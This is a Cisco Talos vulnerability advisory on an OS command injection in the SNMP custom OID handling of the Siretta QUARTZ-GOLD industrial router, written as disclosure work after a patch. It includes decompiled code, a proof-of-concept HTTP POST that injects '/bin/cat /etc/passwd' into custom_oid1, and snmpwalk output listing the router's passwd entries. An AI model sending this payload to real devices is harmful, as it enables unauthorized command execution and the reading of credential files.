Talos Vulnerability Report


Siretta QUARTZ-GOLD httpd SNMP OS command injection vulnerability

January 26, 2023
CVE Number



An OS command injection vulnerability exists in the httpd SNMP functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP response can lead to arbitrary command execution. An attacker can send a network request to trigger this vulnerability.


The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020


QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/


7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)


The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.

Based on the web page shown, functionalities and the documentation publicly available, the QUARTZ-GOLD does not provide any way to directly access the linux system that runs on the router. The router has an SNMP service. This service sets custom OID, which are used to extend the SNMP functionalities. The specified entry is translated in the SNMP configuration file as an exec entry. This specifies arbitrary commands in the custom OID, and those are going to be executed when queried through SNMP, allowing arbitrary command execution.

Following the function in the rc binary that manages the creation of the /etc/snmpd.conf:

void start_snmpd(void)

  snmp_conf = fopen("/etc/snmpd.conf","w");
  fputs("exec . modem /bin/nvram get modem_type\n",snmp_conf);
  fputs("exec . csq /bin/sh /tmp/csq.sh\n",snmp_conf);
  fputs("exec . sim_1_mode /bin/nvram get cellType\n",snmp_conf);
  fputs("exec . sim_1_oper_lock /bin/nvram get cops_oper\n",snmp_conf);
  fputs("exec . sim_1_pin /bin/nvram get CelldialPincode\n",snmp_conf);
  fputs("exec . sim_1_apn /bin/nvram get CelldialApn\n",snmp_conf);
  fputs("exec . sim_1_auth /bin/nvram get auth_type\n",snmp_conf);
  fputs("exec . sim_1_user /bin/nvram get CelldialUser\n",snmp_conf);
  fputs("exec . sim_1_passwd /bin/nvram get CelldialPwd\n",snmp_conf);
  fputs("exec . sim_2_mode /bin/nvram get cellType2\n",snmp_conf);
  fputs("exec . sim_2_oper_lock /bin/nvram get cops_oper2\n",snmp_conf);
  fputs("exec . sim_2_pin /bin/nvram get CelldialPincode2\n",snmp_conf);
  fputs("exec . sim_2_apn /bin/nvram get CelldialApn2\n",snmp_conf);
  fputs("exec . sim_2_auth /bin/nvram get auth_type2\n",snmp_conf);
  fputs("exec . sim_2_user /bin/nvram get CelldialUser2\n",snmp_conf);
  fputs("exec . sim_2_passwd /bin/nvram get CelldialPwd2\n",snmp_conf);
  is_custom_empty = nvram_match_("custom_oid1","");
  if (is_custom_empty == 0) {
    custom_oid = nvram_get_("custom_oid1");
    fprintf(snmp_conf,"exec . custom1 %s\n",custom_oid);
  is_custom_empty = nvram_match_("custom_oid2","");
  if (is_custom_empty == 0) {
    custom_oid = nvram_get_("custom_oid2");
    fprintf(snmp_conf,"exec . custom2 %s\n",custom_oid);
  is_custom_empty = nvram_match_("custom_oid3","");
  if (is_custom_empty == 0) {
    custom_oid = nvram_get_("custom_oid3");
    fprintf(snmp_conf,"exec . custom3 %s\n",custom_oid);
  is_custom_empty = nvram_match_("custom_oid4","");
  if (is_custom_empty == 0) {
    custom_oid = nvram_get_("custom_oid4");
    fprintf(snmp_conf,"exec . custom4 %s\n",custom_oid);
  is_custom_empty = nvram_match_("custom_oid5","");
  if (is_custom_empty == 0) {
    custom_oid = nvram_get_("custom_oid5");
    fprintf(snmp_conf,"exec . custom5 %s\n",custom_oid);

One of the responsibilities of the start_snmpd function is to create the /etc/snmpd.conf. We removed the code unrelated to the snmp.conf and left only the part of the code related with the exec entries.

Exploit Proof of Concept

Sending a request like the following:

POST /tomato.cgi HTTP/1.1
Content-Length: 382
Authorization: Basic <a valid basic auth>

_ajax=1&_service=snmp-restart%2Cfirewall-restart&snmp_enable=1&snmp_remote=0&snmp_port=161&snmp_sysname=Siretta&snmp_location=router&snmp_contact=admin@router&snmp_ro=rocommunity&snmp_rw=rwcommunity&v3_auth_type=NONE&v3_auth_passwd=&v3_priv_type=NONE&v3_priv_passwd=&custom_oid1=/bin/cat%20/etc/passwd&custom_oid2=&custom_oid3=&custom_oid4=&custom_oid5=&_http_id=<the correct tid>

Will generate the following response:

HTTP/1.0 200 OK
Date: Sat, 01 Jan 2000 05:41:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, must-revalidate, private
Expires: Thu, 31 Dec 1970 00:00:00 GMT
Pragma: no-cache
Connection: close

@msg:Settings saved.Some services are being restarted...%    

After this response, the SNMP server would be able to answer to the custom OID:

snmpwalk -c public <ROUTER_IP> -v3 -u admin              
Bad operator (INTEGER): At line 73 in /usr/share/snmp/mibs/ietf/SNMPv2-PDU
SNMPv2-SMI::enterprises.2022.501.1.1 = INTEGER: 1
SNMPv2-SMI::enterprises.2022.501.2.1 = STRING: "custom1"
SNMPv2-SMI::enterprises.2022.501.3.1 = STRING: "/bin/cat /etc/passwd"
SNMPv2-SMI::enterprises.2022.501.100.1 = INTEGER: 0
SNMPv2-SMI::enterprises.2022.501.101.1 = STRING: "root:x:0:0:root:/root:/bin/sh"
SNMPv2-SMI::enterprises.2022.501.101.2 = STRING: "admin:x:0:0:admin:/root:/bin/sh"
SNMPv2-SMI::enterprises.2022.501.101.3 = STRING: "nobody:x:65534:65534:nobody:/dev/null:/dev/null"
SNMPv2-SMI::enterprises.2022.501.102.1 = INTEGER: 0
SNMPv2-SMI::enterprises.2022.501.103.1 = ""

The value of this OID is the results of the command /bin/cat /etc/passwd.


2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release


Discovered by Francesco Benvenuto of Cisco Talos.